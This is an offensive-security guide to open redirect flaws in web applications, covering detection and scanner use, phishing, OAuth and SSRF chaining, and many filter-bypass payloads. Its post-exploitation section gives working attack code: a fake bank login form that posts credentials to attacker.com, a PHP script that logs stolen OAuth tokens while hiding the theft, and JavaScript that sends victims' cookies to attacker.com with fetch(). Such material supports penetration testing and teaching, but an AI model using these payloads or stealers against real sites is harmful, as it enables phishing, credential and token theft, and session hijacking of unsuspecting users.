Open Redirect Attack Guide

Learn how to test and exploit open redirect vulnerabilities including detection, attack methods and bypass techniques.

Open Redirect

Open Redirect is a web security vulnerability that allows an attacker to redirect users to an external malicious website. While often considered a lower severity issue, open redirects can be leveraged for phishing attacks, bypassing security controls, and chaining with other vulnerabilities like SSRF or OAuth attacks.

How It Works​

Open redirect vulnerabilities occur when an application accepts user-controlled input to determine a redirect destination without proper validation. For example:

<?php  
$redirect = $_GET['url'];  
header("Location: " . $redirect);  
?>  

An attacker could exploit this:

https://trusted-site.com/redirect?url=https://evil.com  

When users click this link, they trust the domain but are redirected to a malicious site.

Detection​

Manual Testing​

URL Parameter Tests​

Testing parameters that control redirects:

# Step 1: Identify redirect parameters  
https://site.com/redirect?url=https://example.com  
https://site.com/logout?next=/dashboard  
https://site.com/auth?redirect_uri=https://example.com  
https://site.com/go?to=https://example.com  
https://site.com/click?target=https://example.com  
  
# Step 2: Test with external domain  
https://site.com/redirect?url=https://evil.com  
https://site.com/logout?next=https://evil.com  
https://site.com/auth?redirect_uri=https://evil.com  
  
# Step 3: Check if redirect happens  
# - Redirected to evil.com: Vulnerable  
# - Error message: Protected  
# - Redirected to default: Whitelist in place  
  
# Step 4: Common parameter names to test  
url, redirect, redirect_uri, redirect_url  
next, return, returnto, return_to, return_url  
destination, dest, target, to, goto, go  
continue, callback, callback_url, redir  

HTTP Header Tests​

Testing redirect headers:

# Referer-based redirects  
GET /redirect HTTP/1.1  
Host: target.com  
Referer: https://evil.com  
  
# X-Forwarded-Host redirect  
GET /redirect HTTP/1.1  
Host: target.com  
X-Forwarded-Host: evil.com  
  
# Host header injection  
GET /redirect HTTP/1.1  
Host: evil.com  
  
# Origin header  
GET /redirect HTTP/1.1  
Host: target.com  
Origin: https://evil.com  

Meta Refresh Tests​

Testing HTML meta refresh:

# Check if redirect uses meta refresh  
# Look in response for:  
<meta http-equiv="refresh" content="0;url=USER_INPUT">  
  
# If found, test:  
https://site.com/redirect?url=https://evil.com  
  
# Check source code for:  
<meta http-equiv="refresh" content="0;url=https://evil.com">  

JavaScript Redirect Tests​

Testing JavaScript-based redirects:

# Check response for JavaScript redirects:  
window.location = "USER_INPUT"  
window.location.href = "USER_INPUT"  
document.location = "USER_INPUT"  
location.href = "USER_INPUT"  
  
# Test with:  
https://site.com/redirect?url=https://evil.com  
  
# Check if JavaScript executes redirect  

Automated Discovery​

Using Burp Suite​

# Step 1: Configure Burp to detect redirects  
# Proxy > Options > Response Modification  
# Disable "Follow redirections"  
  
# Step 2: Identify redirect parameters  
# Look for 3XX status codes  
# Look for Location headers  
  
# Step 3: Send to Intruder  
# Set payload position: redirect?url=§https://example.com§  
# Payload: Your domain with unique identifier  
# Analyze responses for 3XX to your domain  
  
# Step 4: Use Burp Extensions  
# Install: Reflected Parameters  
# Install: Param Miner  
# Install: OpenRedireX  

Using OpenRedireX​

# Basic scan  
python3 openredirex.py -u https://target.com  
  
# With URL list  
python3 openredirex.py -l urls.txt  
  
# With custom payloads  
python3 openredirex.py -u https://target.com -p payloads.txt  
  
# Saving results  
python3 openredirex.py -u https://target.com -o results.txt  

Using Custom Scripts​

# Python script for open redirect testing  
import requests  
from urllib.parse import urlparse  
  
def test_open_redirect(url, param, payload):  
    test_url = f"{url}?{param}={payload}"  
    try:  
        response = requests.get(test_url, allow_redirects=False, timeout=5)  
          
        # Check for redirect  
        if response.status_code in [301, 302, 303, 307, 308]:  
            location = response.headers.get('Location', '')  
              
            # Check if redirects to our payload  
            if payload in location:  
                return True, location  
                  
        # Check for meta refresh  
        if '<meta' in response.text and 'refresh' in response.text.lower():  
            if payload in response.text:  
                return True, "Meta refresh redirect"  
                  
        # Check for JavaScript redirect  
        js_redirects = ['window.location', 'document.location', 'location.href']  
        for js in js_redirects:  
            if js in response.text and payload in response.text:  
                return True, "JavaScript redirect"  
                  
        return False, None  
          
    except Exception as e:  
        return False, str(e)  
  
# Test multiple parameters  
target = "https://target.com/redirect"  
parameters = ['url', 'redirect', 'next', 'return', 'goto']  
payload = "https://evil.com"  
  
for param in parameters:  
    vulnerable, location = test_open_redirect(target, param, payload)  
    if vulnerable:  
        print(f"[+] Vulnerable: {param} -> {location}")  
    else:  
        print(f"[-] Not vulnerable: {param}")  

Attack Vectors​

Direct Redirect​

Basic open redirect exploitation:

# Simple external redirect  
https://target.com/redirect?url=https://evil.com  
  
# With URL encoding  
https://target.com/redirect?url=https%3A%2F%2Fevil.com  
  
# With query parameters  
https://target.com/redirect?url=https://evil.com/phishing?target=victim  
  
# Multiple redirect parameters  
https://target.com/redirect?url=https://evil.com&redirect=https://evil.com  

Phishing Attacks​

Using trusted domains for phishing:

# Trusted domain in URL  
https://legitimate-bank.com/redirect?url=https://fake-bank.com/login  
  
# Phishing page that looks identical  
# Victim sees legitimate-bank.com in URL  
# Trusts the link  
# Gets redirected to fake-bank.com  
# Enters credentials on attacker's site  
  
# Example phishing flow:  
# 1. Email: "Security Alert from trusted-bank.com"  
# 2. Link: https://trusted-bank.com/redirect?url=https://attacker.com/fake-login  
# 3. User clicks, sees trusted domain  
# 4. Redirected to fake login page  
# 5. Credentials stolen  

OAuth/SSO Token Theft​

Stealing OAuth tokens:

# OAuth flow with open redirect  
# Normal OAuth: https://app.com/oauth?redirect_uri=https://app.com/callback  
# Exploited: https://app.com/oauth?redirect_uri=https://evil.com/steal  
  
# Attack flow:  
1. User initiates OAuth login  
2. Attacker crafts link: https://app.com/oauth?redirect_uri=https://evil.com  
3. User authorizes application  
4. Token sent to https://evil.com instead of legitimate callback  
5. Attacker steals access token  
  
# SAML SSO redirect  
https://sso.company.com/login?RelayState=https://evil.com  

SSRF via Open Redirect​

Chaining open redirect with SSRF:

# If target URL is validated but allows open redirect  
# Attacker can bypass SSRF filters  
  
# SSRF endpoint checks if URL starts with https://trusted.com  
# But https://trusted.com has open redirect  
  
# Payload:  
https://target.com/fetch?url=https://trusted.com/redirect?url=http://169.254.169.254/latest/meta-data/  
  
# Flow:  
1. SSRF filter sees: https://trusted.com (allowed)  
2. trusted.com redirects to: http://169.254.169.254  
3. Server follows redirect  
4. AWS metadata accessed  

Filter Bypass for XSS​

Using open redirect to bypass XSS filters:

# If JavaScript URLs are filtered  
# javascript:alert(1) - Blocked  
  
# Use open redirect:  
https://target.com/redirect?url=javascript:alert(1)  
  
# Or data URLs:  
https://target.com/redirect?url=data:text/html,<script>alert(1)</script>  

Bypass Techniques​

Protocol Bypass​

Using alternative protocols:

# If http/https are filtered  
# Try protocol-relative URLs  
url=//evil.com  
url=///evil.com  
  
# Try without protocol  
url=evil.com  
  
# JavaScript protocol  
url=javascript:alert(document.domain)  
  
# Data protocol  
url=data:text/html,<script>alert(1)</script>  
  
# File protocol  
url=file:///etc/passwd  

Domain Whitelist Bypass​

Bypassing domain restrictions:

# If whitelist checks for "trusted.com"  
  
# Subdomain confusion  
url=https://trusted.com.evil.com  
  
# Using @ symbol  
url=https://trusted.com@evil.com  
url=https://evil.com@trusted.com  # Some parsers use last domain  
  
# Using # (fragment)  
url=https://trusted.com#@evil.com  
  
# Open redirect on whitelisted domain  
url=https://trusted.com/redirect?url=https://evil.com  
  
# IDN homograph attack  
url=https://trusted.com  # Using unicode lookalikes  
# е (Cyrillic) looks like e (Latin)  

Path Confusion​

Confusing path parsing:

# Using backslash (Windows-style)  
url=https://trusted.com\@evil.com  
url=https://trusted.com\evil.com  
  
# Using question mark  
url=https://trusted.com?@evil.com  
  
# Using semicolon  
url=https://trusted.com;@evil.com  
  
# Using different slashes  
url=https://trusted.com/./evil.com  
url=https://trusted.com/../evil.com  

Encoding Bypass​

Different encoding methods:

# URL encoding  
url=https%3A%2F%2Fevil.com  
  
# Double URL encoding  
url=https%253A%252F%252Fevil.com  
  
# HTML encoding  
url=https://evil.com (&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;evil.com)  
  
# Unicode encoding  
url=\u0068\u0074\u0074\u0070\u0073://evil.com  
  
# Mixed encoding  
url=ht%74ps://evil.c%6fm  
  
# Hex encoding  
url=0x68747470733a2f2f6576696c2e636f6d  

Whitespace and Special Characters​

Using whitespace to confuse parsers:

# Leading/trailing whitespace  
url= https://evil.com  
url=https://evil.com   
url=%20https://evil.com  
  
# Newlines  
url=https://trusted.com%0Ahttps://evil.com  
url=https://trusted.com%0Dhttps://evil.com  
  
# Tabs  
url=https://trusted.com%09https://evil.com  
  
# Null byte (older systems)  
url=https://trusted.com%00https://evil.com  

Open Redirect Chaining​

Chaining multiple redirects:

# If filter checks final destination  
# But doesn't follow redirects  
  
# Create redirect chain:  
url=https://allowed-domain1.com/redirect?url=https://allowed-domain2.com/redirect?url=https://evil.com  
  
# Using URL shorteners  
url=https://bit.ly/xxxxx  
# Which redirects to https://evil.com  
  
# Using redirect services  
url=https://redirect.service.com/?url=https://evil.com  

Parameter Pollution​

Using multiple parameters:

# If parser takes first, filter checks last  
url=https://trusted.com&url=https://evil.com  
url=https://evil.com&url=https://trusted.com  
  
# Using array notation  
url[]=https://trusted.com&url[]=https://evil.com  
  
# Different parameter names  
url=https://trusted.com&redirect=https://evil.com  
redirect=https://trusted.com&url=https://evil.com  

JavaScript URL Bypass​

Bypassing JavaScript protocol filters:

# Encoding javascript:  
url=javascript:alert(1)  
url=java%0script:alert(1)  
url=java%09script:alert(1)  
url=java%0Dscript:alert(1)  
  
# Using data URLs  
url=data:text/html,<script>alert(1)</script>  
url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==  
  
# Using JavaScript entities  
url=javascript&colon;alert(1)  
url=javascript&#58;alert(1)  
url=javascript&#x3A;alert(1)  

Post-Exploitation​

Credential Harvesting​

Creating convincing phishing pages:

<!-- Setup fake login page at evil.com -->  
<!DOCTYPE html>  
<html>  
<head>  
    <title>Login - Trusted Bank</title>  
    <!-- Copy legitimate site's CSS -->  
</head>  
<body>  
    <!-- Exact copy of legitimate login page -->  
    <form action="https://attacker.com/steal" method="POST">  
        <input type="text" name="username" placeholder="Username" />  
        <input type="password" name="password" placeholder="Password" />  
        <button type="submit">Login</button>  
    </form>  
</body>  
</html>  
  
<!-- Send phishing email with open redirect link -->  
<!-- https://trusted-bank.com/redirect?url=https://evil.com/fake-login -->  

OAuth Token Theft​

Stealing OAuth/OpenID tokens:

# Setup token stealer at evil.com/steal  
# evil.com/steal code:  
<?php  
$code = $_GET['code'];  
$access_token = $_GET['access_token'];  
$id_token = $_GET['id_token'];  
  
// Log tokens  
file_put_contents('tokens.txt',   
    "Code: $code\nAccess: $access_token\nID: $id_token\n\n",   
    FILE_APPEND);  
  
// Redirect to legitimate site to avoid suspicion  
header('Location: https://legitimate-app.com/login');  
?>  
  
# Craft malicious OAuth URL  
https://oauth-provider.com/authorize?  
    client_id=CLIENT_ID&  
    redirect_uri=https://app.com/redirect?url=https://evil.com/steal&  
    response_type=token&  
    scope=read_profile  

Session Hijacking​

Stealing session cookies:

// At evil.com/steal-session  
<script>  
// Steal cookies  
var cookies = document.cookie;  
  
// Send to attacker  
fetch('https://attacker.com/log', {  
    method: 'POST',  
    body: JSON.stringify({  
        cookies: cookies,  
        url: window.location.href,  
        referrer: document.referrer  
    })  
});  
  
// Redirect back to look legitimate  
setTimeout(() => {  
    window.location = 'https://legitimate-site.com';  
}, 500);  
</script>  

Business Logic Bypass​

Using redirects to bypass payment:

# Payment flow:  
# 1. /checkout -> 2. /payment -> 3. /success  
  
# If payment page has open redirect  
# https://site.com/payment?next=https://evil.com  
  
# Attack:  
# 1. Add items to cart  
# 2. Go to checkout  
# 3. At payment, use: /payment?next=/success  
# 4. Skip payment, direct to success page  
# 5. Order confirmed without payment  

Common Tools​

Tool| Description| Primary Use Case
---|---|---
OpenRedireX| Open redirect scanner| Automated detection
Burp Suite| Web vulnerability scanner| Manual testing
OWASP ZAP| Security testing tool| Automated scanning
Intigriti Redirector| Browser extension| Quick testing
OpenRedirect Scanner| Python tool| Batch URL testing
Waybackurls| Historical URL extractor| Finding potential parameters